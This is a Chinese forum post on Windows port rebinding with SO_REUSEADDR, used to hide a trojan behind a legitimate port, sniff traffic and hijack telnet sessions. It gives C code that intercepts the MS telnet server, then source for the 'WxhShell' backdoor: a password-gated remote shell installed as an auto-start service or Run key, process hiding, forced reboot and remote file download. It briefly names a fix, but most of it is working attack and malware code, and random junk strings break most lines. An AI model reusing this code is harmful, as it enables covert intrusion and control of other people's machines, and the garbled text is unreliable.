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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: YaiogA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MLwh&I9)  
}ie  O  
  saddr.sin_family = AF_INET;  `{w.OK  
#1fT\aP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t;005]'Mp  
)e&U'Fx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /)RyRS8c  
ILi{5L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,z<J`n  
E4;vC ?K{  
  这意味着什么?意味着可以进行如下的攻击: 8~*<s5H  
x!5b" "  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  I/YBL  
8@;|x2=y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sa8JN.B  
+tOmKY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j9Qd 45  
`pr$l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7#/->Y  
4lrF{S8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wUb5[m  
t~vOm   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {A!1s;  
-u)f@e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r'bctFsD  
2J?ON|2M  
  #include BK>3rjXi>a  
  #include bY` b3  
  #include  TA;r  
  #include    Cj{+DXT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VpmwN`  
  int main() as#_Fer`U  
  { =QdHji/sB  
  WORD wVersionRequested; pO]{Y?X:  
  DWORD ret; iczJXA+  
  WSADATA wsaData; /G[2   
  BOOL val; \ a}6NIo  
  SOCKADDR_IN saddr; 5e)2Jt:  
  SOCKADDR_IN scaddr; Xn:5pd;?B6  
  int err; Q\H1=8  
  SOCKET s; '7BJ.  
  SOCKET sc; KWuc*!  
  int caddsize; Eo h4#fZ\N  
  HANDLE mt; sA^_I6>M"  
  DWORD tid;   j&6O 1  
  wVersionRequested = MAKEWORD( 2, 2 ); {7EnM1]  
  err = WSAStartup( wVersionRequested, &wsaData ); wY$'KmNW  
  if ( err != 0 ) { ".0~@W0  
  printf("error!WSAStartup failed!\n"); = ;tDYuFc!  
  return -1; `Uz2(zqS  
  } Oe#*-  
  saddr.sin_family = AF_INET; H]]UsY`  
   %K9pnq/T^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a4a/]q4T  
(i3V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pTzwyj!SD  
  saddr.sin_port = htons(23); vI84= n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sY|by\-c  
  { n,,hE_  
  printf("error!socket failed!\n"); 0cGO*G2Xr  
  return -1; (w1M\yodV  
  } /Kw}R5l  
  val = TRUE; ZnrsJ1f:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2Ra}&ie  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a,$v;s/  
  { "c+j2f'f  
  printf("error!setsockopt failed!\n"); B|fh 4FNy  
  return -1; 3y# U|&]{  
  } st7\k]J\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W't?aj I|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UrC>n  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 < bvbfS  
\`kH2`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Sa8KCWgWh  
  { \]:}lVtxS  
  ret=GetLastError(); " Y1]6 Zu  
  printf("error!bind failed!\n"); . X:  
  return -1; yG v7^d  
  } v47S9Vm+  
  listen(s,2); V/t/uNm  
  while(1) 13JZ\`ceb  
  { $.5f-vQp  
  caddsize = sizeof(scaddr); 4uX|2nJ2!;  
  //接受连接请求 n%Rl$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /%9Ge AAs  
  if(sc!=INVALID_SOCKET) t| cL!  
  { Hxr)`i46  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &s{" Vc9]  
  if(mt==NULL) 39yp1  
  { prdc}~J8{  
  printf("Thread Creat Failed!\n"); sw\O\%^  
  break; ?cB:1?\j  
  } G u4mP  
  } )IFFtU~,  
  CloseHandle(mt); 6OPYq*|  
  } ]ZI ?U<0  
  closesocket(s); j3Yz=bsQ{c  
  WSACleanup(); ~u.( (GM  
  return 0; r7zS4;b  
  }   w9aLTLv-  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?= R C?K  
  { #,5v#| u|7  
  SOCKET ss = (SOCKET)lpParam; >D5WAQ>b  
  SOCKET sc; + e3{J_  
  unsigned char buf[4096]; n85d g  
  SOCKADDR_IN saddr; JFOXrRR=d  
  long num; 2FxrjA  
  DWORD val; -}G>{5.A  
  DWORD ret; Vb++K0CK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +FBUB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \:5M0  
  saddr.sin_family = AF_INET; A dL>?SG%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cYx.<b JH  
  saddr.sin_port = htons(23); y?-zQs0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5faY{;8  
  { >g+e`!;6  
  printf("error!socket failed!\n"); c?t,,\o(}  
  return -1; JU`5K}H<  
  } !?aL_{7J  
  val = 100; YcdT/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gNaB^IY  
  { -R BH5+SS2  
  ret = GetLastError(); #HyE-|_C  
  return -1; ;Ob`B@!=b  
  } qZB}}pM#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) grZ?F~P8  
  { Ch0t'  
  ret = GetLastError(); gCP f1z  
  return -1; ZQN%!2  
  } N#&/d nV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J5#shs[M:  
  { 7f_tH_(  
  printf("error!socket connect failed!\n"); m IYM+2p  
  closesocket(sc); (&@,ZI;  
  closesocket(ss); =2&Sw(6j  
  return -1; +2 x|j>  
  } 48g`i  
  while(1) f2,\B6+  
  { w(cl,W/w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^b&U0k$R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -P>up)p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'nP;IuMP  
  num = recv(ss,buf,4096,0); |S.;']t+  
  if(num>0) !McRtxq?~  
  send(sc,buf,num,0); +2Wijrn  
  else if(num==0) Kq&JvY^  
  break; %(d0`9  
  num = recv(sc,buf,4096,0); $guaUe[x  
  if(num>0) =&x u"V  
  send(ss,buf,num,0); w<$0n#5  
  else if(num==0) 5hg ^K^ZZ  
  break; oeF0t'%  
  } p`T,VU&.  
  closesocket(ss); hNUkaP  
  closesocket(sc); 0oNy  
  return 0 ; bVW2Tjc:  
  } oBI@.&tG}  
GSaU:A  
~(Xzm  
========================================================== V:>ZSW4,^  
?D9>N'yH8  
下边附上一个代码,,WXhSHELL i$"M'BG  
35 3*D%8  
========================================================== WX}pBmU  
DUlvlQW  
#include "stdafx.h" . yN.  
} U_z XuUz  
#include <stdio.h> NKRI|'Y,  
#include <string.h> AEO7I f@  
#include <windows.h> $G D@e0  
#include <winsock2.h> du_TiI  
#include <winsvc.h> Mx_O'D  
#include <urlmon.h> ^M7pCetjdW  
f;cY&GC  
#pragma comment (lib, "Ws2_32.lib") vi~NfD@s  
#pragma comment (lib, "urlmon.lib") p8|u0/;k  
HWOOw&^<  
#define MAX_USER   100 // 最大客户端连接数 )Nkf'&  
#define BUF_SOCK   200 // sock buffer XyrQJ}WR|  
#define KEY_BUFF   255 // 输入 buffer i=aK ?^+  
k:* (..!0z  
#define REBOOT     0   // 重启  ie4BE'  
#define SHUTDOWN   1   // 关机 @78%6KZ`i  
lm\~_ 4l1  
#define DEF_PORT   5000 // 监听端口 j=y{ey7Fd  
/;9iDjG  
#define REG_LEN     16   // 注册表键长度 h-6zQs   
#define SVC_LEN     80   // NT服务名长度 ]^BgSC  
3Ued>8Gv  
// 从dll定义API 1b`WzoJgH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -_+,HyJP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LY1dEZ-)A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j@C*kj;-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \Rz-*zr&  
JH`oa1 b  
// wxhshell配置信息 < +X,oxg  
struct WSCFG { wgFAPZr  
  int ws_port;         // 监听端口 29kR7[k  
  char ws_passstr[REG_LEN]; // 口令 w3Z;&sFd  
  int ws_autoins;       // 安装标记, 1=yes 0=no P{%R*hb]  
  char ws_regname[REG_LEN]; // 注册表键名 )9s 6(Iu  
  char ws_svcname[REG_LEN]; // 服务名 U2HAIV8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (hn;C>B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PCZ%<>v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i2 7KuPjC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P^J#;{R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D+('1E?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mz?1J4rt  
*7UDTgY  
}; .g52p+Z#  
+xn59V  
// default Wxhshell configuration c(r8 F[4w  
struct WSCFG wscfg={DEF_PORT, HsRQiai*  
    "xuhuanlingzhe", vuO~^N]G  
    1, D9;s%  
    "Wxhshell", Y7WU4He L  
    "Wxhshell", = @n`5g  
            "WxhShell Service", Kl]LnN%A{  
    "Wrsky Windows CmdShell Service", (U^f0wJg  
    "Please Input Your Password: ", mt*/%>@7R  
  1, +hUz/G+3  
  "http://www.wrsky.com/wxhshell.exe", 4">C0m;ks  
  "Wxhshell.exe" :,1 kSM%r  
    }; o6c>sh  
idSc#n22  
// 消息定义模块 |tdsg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tq&CJvJ4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .qD=u1{p9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YJMaIFt  
char *msg_ws_ext="\n\rExit."; Hwiftx  
char *msg_ws_end="\n\rQuit."; N5|wBm>m  
char *msg_ws_boot="\n\rReboot..."; 7]lUPLsl  
char *msg_ws_poff="\n\rShutdown..."; f&88N<)  
char *msg_ws_down="\n\rSave to "; ZZJ<JdD  
"d c- !  
char *msg_ws_err="\n\rErr!"; MHF7hk ps}  
char *msg_ws_ok="\n\rOK!"; b_>x;5k  
TDZ p1zpXb  
char ExeFile[MAX_PATH]; bPUldkB:  
int nUser = 0; JYO("f  
HANDLE handles[MAX_USER];  #[yZP9  
int OsIsNt; MVOWJaT(Aq  
5[|ZceY  
SERVICE_STATUS       serviceStatus; MoMxKmI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EVW\Z 2N.  
W'L  
// 函数声明 WIYWql>*  
int Install(void); dj5@9X  
int Uninstall(void); f2G 3cg~H  
int DownloadFile(char *sURL, SOCKET wsh); Uo=_=.GQ  
int Boot(int flag); /nzJ`d  
void HideProc(void); )UN_,'H/V  
int GetOsVer(void); `*w!S8}m;  
int Wxhshell(SOCKET wsl); *r].EBJ\  
void TalkWithClient(void *cs); %{ +>\0x  
int CmdShell(SOCKET sock); X^7n/|%*.  
int StartFromService(void); 2"8qtG`Et  
int StartWxhshell(LPSTR lpCmdLine); C1po]Ott*  
`=19iAp.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KU 98"b5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'QQa :3<x  
WWN2  
// 数据结构和表定义 $64sf?aZ>#  
SERVICE_TABLE_ENTRY DispatchTable[] = ?d`j}  
{ =H/ 5  
{wscfg.ws_svcname, NTServiceMain}, @Jc^ur  
{NULL, NULL} UIK4]cYC'  
}; iPdR;O'  
"V{v*Aei0  
// 自我安装 Bnh*;J0  
int Install(void) RKD$'UWX  
{ h4N&Yb fo  
  char svExeFile[MAX_PATH]; .'zcD^  
  HKEY key; Fr)6<9%xVm  
  strcpy(svExeFile,ExeFile); @H61^K<  
cg_j.=M-  
// 如果是win9x系统,修改注册表设为自启动 !;E{D  
if(!OsIsNt) { m\@q2l-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g-DFcwO,V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w<Ot0&&  
  RegCloseKey(key); O ~D]C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { grTwo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y@9ifFr  
  RegCloseKey(key); g4}K6)@  
  return 0; Nc:0opPM  
    } n |Q' >  
  } $\q}A:  
} )Ag{S[yZ  
else { 5~{s-Ms  
_NN5e|t  
// 如果是NT以上系统,安装为系统服务 ]^I[SG,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Pv3qN{265  
if (schSCManager!=0) Nbd[xs-lw  
{ y4Lh:;  
  SC_HANDLE schService = CreateService 2!? =I'uMA  
  ( bj7r"_  
  schSCManager, 1R"Z+tNB  
  wscfg.ws_svcname, (\H^ KEy  
  wscfg.ws_svcdisp, F&$~]R=&  
  SERVICE_ALL_ACCESS, /TY=ig1z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x bD]EC  
  SERVICE_AUTO_START, DvY)n<U1qA  
  SERVICE_ERROR_NORMAL, hGb SN_F  
  svExeFile, G!E1N(%o  
  NULL, ,$bK)|pGV  
  NULL, q" @%WK  
  NULL, SY$%)(c8kL  
  NULL, ,"?xy-6  
  NULL )M_|r2dDq3  
  ); %,f(jQfg_  
  if (schService!=0) :ioD  *k  
  { E{]PfUfFY  
  CloseServiceHandle(schService); Ypwn@?xeP  
  CloseServiceHandle(schSCManager); 5E0dX3-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x\5v^$  
  strcat(svExeFile,wscfg.ws_svcname); %s ">:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @o>3 Bv.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #PQhgli  
  RegCloseKey(key); cXbQ  
  return 0; z9JZV`dNgz  
    } _[,7DA.qc  
  } X1o=rT  
  CloseServiceHandle(schSCManager); 1ZO/R%[  
} 3Uy(d,N  
} Zb$P`~(%  
?JMy  
return 1; 5U6b\jxX  
} Zqj EVVB  
/7igPNhx  
// 自我卸载 .svlJSx  
int Uninstall(void) [U_  
{ 8y'.H21:;  
  HKEY key; VF:95F;@  
0X4I-xx#  
if(!OsIsNt) { w3jcit|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .x][ _I>  
  RegDeleteValue(key,wscfg.ws_regname); l09DH+  
  RegCloseKey(key); i/RA/q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WB3YN+Xl3  
  RegDeleteValue(key,wscfg.ws_regname); Lc_cB`  
  RegCloseKey(key); );d"gv(]D  
  return 0; *Qy,?2  
  } aRcVoOq  
} 0gH;y+\=*  
} Y7<(_p7  
else { #sM*<2vj  
DhN<e7c`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :5_394v  
if (schSCManager!=0) 4D sHUc6  
{ LN`Y`G|op  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); USzO):o  
  if (schService!=0) oW3|b2D  
  { d$:LUxM#  
  if(DeleteService(schService)!=0) { DVjwY_nG7  
  CloseServiceHandle(schService); =H8Y  
  CloseServiceHandle(schSCManager); R<;;Ph  
  return 0; t^"8 v3'h  
  } Zty9O8g  
  CloseServiceHandle(schService); 23/;W|   
  } naVbcY  
  CloseServiceHandle(schSCManager); qe|U*K 2_  
} c+501's  
} F"0=r  
0}N"L ml  
return 1; s f8F h  
} 6Cgc-KNbk  
.q|k459oi  
// 从指定url下载文件 P.- `[  
int DownloadFile(char *sURL, SOCKET wsh) (: @7IWZf@  
{ ftD(ed  
  HRESULT hr; a;=IOQ  
char seps[]= "/";  bU$M)  
char *token; gjn1ha"h%.  
char *file; ^J)0i_RS  
char myURL[MAX_PATH]; "x O+  
char myFILE[MAX_PATH]; G rI<w.9X  
wicW9^ik  
strcpy(myURL,sURL); dZCnQIS  
  token=strtok(myURL,seps); v (=E R%  
  while(token!=NULL) LvNulMEK  
  { SE6c3  
    file=token; 7KN+ @6!x  
  token=strtok(NULL,seps); mX[J15  
  } {_UOS8j7  
e*M-y C  
GetCurrentDirectory(MAX_PATH,myFILE); A+hA'0isF@  
strcat(myFILE, "\\"); aUq 2$lw1  
strcat(myFILE, file); Dq+S'x~>  
  send(wsh,myFILE,strlen(myFILE),0); Rw)=<XV)6  
send(wsh,"...",3,0); (e4 #9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y|ErVf4  
  if(hr==S_OK) QypUBf  
return 0; #'BPW<Ob  
else 8wMwS6s:  
return 1; <YvW /x  
a"^rOiXR{  
} wY3| 5kbDj  
eu'S~c-l  
// 系统电源模块  ^w_\D?  
int Boot(int flag) =3EjD;2  
{ 'oF XNO  
  HANDLE hToken; }#6~/ W  
  TOKEN_PRIVILEGES tkp; )j. .)o  
fWyXy%Qq  
  if(OsIsNt) { Mk}*ze0%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +asO4'r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TT={>R[B  
    tkp.PrivilegeCount = 1; hG >kx8h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3 J5lz~6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .mplML0oW  
if(flag==REBOOT) { u{S"NEc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8khIy-9-'  
  return 0; >L433qR  
} KPA.5,ai  
else {  %e(DPX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U#|6n ,  
  return 0; B7PdavO#  
} US\h,J\Ju  
  } K94bM5O 1  
  else { ij?Ww'p9>  
if(flag==REBOOT) { v1p^=" IHI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "b) hj?  
  return 0; &]pY~zVc  
} *W2o$_Hs  
else { c$x >6&&L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `eeA,K_  
  return 0; QW_BT ^d"  
} Y]DC; ,  
} ?_eHvw  
kW=!RX[&  
return 1; E] rBq_S  
} gt\kTn."  
g([M hf#  
// win9x进程隐藏模块 Hyi'z1  
void HideProc(void) odn3*{c{x  
{ 'V\V=yc1  
R{pF IyR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0~ o,^AW  
  if ( hKernel != NULL ) e m  
  { bnJ4Edy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7&u$^c S(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WEtPIHruyt  
    FreeLibrary(hKernel); !|8"}ZF  
  } &@=W+A=c~  
Hwcmt!y  
return; Dt(xj}[tC  
} BZ(I]:oDL  
je%D&ci$  
// 获取操作系统版本 b@O{eQB  
int GetOsVer(void) H4$f+  
{ NryOdt tI  
  OSVERSIONINFO winfo; jB`:(5%RO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +!ZfJZls  
  GetVersionEx(&winfo); :6]qr86  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hp@Q  
  return 1; u<4bOJn({  
  else T3I{D@+0  
  return 0; BN~ndWRK  
} *%*B o9a/  
Hbn78,~ .  
// 客户端句柄模块 =.w~qL  
int Wxhshell(SOCKET wsl) $hMD6<e  
{ Cj$:TWYIh[  
  SOCKET wsh; dsH*9t:z  
  struct sockaddr_in client; <W+9 h0c  
  DWORD myID; AH_qZTv0{Q  
Wb[k2V  
  while(nUser<MAX_USER) ("{"8   
{ wB&5q!{!  
  int nSize=sizeof(client); X4{<{D`0t8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S&QXf<v  
  if(wsh==INVALID_SOCKET) return 1; BWNI|pq)v  
SM8_C!h:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >GLoeCRNu  
if(handles[nUser]==0) pw`'q(ad  
  closesocket(wsh); 2[qoqd(  
else `F3wO!  
  nUser++; E^$8nqCL:  
  } =- ,'LOE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =T\=,B  
Y[H769  
  return 0; @_W13@|  
} a&UzIFdB  
+(y 8q  
// 关闭 socket tG ZMIG_  
void CloseIt(SOCKET wsh) \+=`o .2  
{ mxpj<^n}  
closesocket(wsh); q;UGiB^(A  
nUser--; yDWBrN._  
ExitThread(0); #sxv?r  
} )@P*F) g~  
%ZX9YuXQ  
// 客户端请求句柄 :(wFNK/0{  
void TalkWithClient(void *cs) k1ja ([Q  
{ FBbaLqgVF{  
~Z!YB,)bp  
  SOCKET wsh=(SOCKET)cs; <fF|AbC:  
  char pwd[SVC_LEN]; noM=8C&U  
  char cmd[KEY_BUFF]; 1vxQ`)a  
char chr[1]; [YZgQ  
int i,j; *,IK4F6>:  
:HwdXhA6  
  while (nUser < MAX_USER) { #<Lv&-U<KT  
-/V(Z+dj  
if(wscfg.ws_passstr) { E AZX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e<*qaUI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >oO]S]W  
  //ZeroMemory(pwd,KEY_BUFF); Z4rk$K'=1w  
      i=0; dfKGO$}V  
  while(i<SVC_LEN) { Ow.DBL)x'>  
r/HTkXs I  
  // 设置超时 O6vxp?:^  
  fd_set FdRead; /|<S D.:  
  struct timeval TimeOut; =,h'}(z_  
  FD_ZERO(&FdRead); [`s0 L#  
  FD_SET(wsh,&FdRead); 6q>}M  
  TimeOut.tv_sec=8; 'nBP%  
  TimeOut.tv_usec=0; d4*SfzB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wc. =`Me  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =5Nh}o(l?  
O ;[Mi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GM?s8yZ<  
  pwd=chr[0]; aKWxLe  
  if(chr[0]==0xd || chr[0]==0xa) { YB<nz<;JR  
  pwd=0; 8A.7q  
  break; EmR82^_:  
  } d~QM@<SV  
  i++; w;j<$<4=7  
    } 8?Ju\W  
0y+^{@lU  
  // 如果是非法用户,关闭 socket @!u{>!~0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +L`}(yLJ)9  
} X^K^az&L  
/t`\b [  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cz{`'VN}`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {\CWoFht>  
0c`nk\vUy  
while(1) { c)B3g.C4m  
n6+h;+8;]  
  ZeroMemory(cmd,KEY_BUFF); T!ZjgCY}  
 WZY+c  
      // 自动支持客户端 telnet标准   (RV#piM  
  j=0; >}%#s`3W1_  
  while(j<KEY_BUFF) { AvB=/p@]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nq8XVT.m^\  
  cmd[j]=chr[0]; ()bQmNqmO=  
  if(chr[0]==0xa || chr[0]==0xd) { u~ipB*Zf  
  cmd[j]=0; aHmg!s}&  
  break; 7QNx*8p  
  } X:$vP'B>  
  j++; @j_o CDS  
    } !'p<Kh[i  
l`ZL^uT  
  // 下载文件 4\u`M R  
  if(strstr(cmd,"http://")) { _uLpU4# ?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jwa6`u  
  if(DownloadFile(cmd,wsh)) 6V%}2YE?X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Q9Hk(Z9  
  else kN Ll|in@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !p!Qg1O6o  
  } A,~KrRd  
  else { 'z AvQm  
k6&~)7 -f  
    switch(cmd[0]) { Um{) ?1  
  C@eL9R;N1  
  // 帮助 _<#92v !F  
  case '?': { xb3G,F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6qFzo1LO  
    break; $f0u  
  } cZ|*Zpk  
  // 安装 &qG/\  
  case 'i': { yuBRYy#E|%  
    if(Install()) 5\C(2naf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V 97ORI  
    else 5z,q~CU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oo\^}jb  
    break; :_6o|9J\t  
    } H=C~h\me?  
  // 卸载 SyVXXk 0  
  case 'r': { C/Tk`C&  
    if(Uninstall()) *6` ^8Y\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6E-eD\?I&  
    else pNOE KiJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]jxyaE&%4  
    break; i@nRZ$K  
    } F_'{:v1GW  
  // 显示 wxhshell 所在路径 v4s4D1}  
  case 'p': { v77UE"4|c  
    char svExeFile[MAX_PATH]; ^3$U[u%q/{  
    strcpy(svExeFile,"\n\r"); En9J7es_  
      strcat(svExeFile,ExeFile); 7;q0'_G  
        send(wsh,svExeFile,strlen(svExeFile),0); eLPtdP5k  
    break; IC'+{3.m8  
    } 'Xwv,  
  // 重启 ~6kF`}5  
  case 'b': { n'^`;-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |.$B,cEd  
    if(Boot(REBOOT)) F$tzsz,9n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nuot[1kS  
    else { ;&=CZ6vH  
    closesocket(wsh); xaVX@ 3r.3  
    ExitThread(0); Kt*fQ `9  
    } / ^d9At614  
    break; ^6kl4:{idE  
    } <M1*gz   
  // 关机 nc:/GxP  
  case 'd': { g4=1['wW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t;VMtIW+E  
    if(Boot(SHUTDOWN)) c=\_[G(  
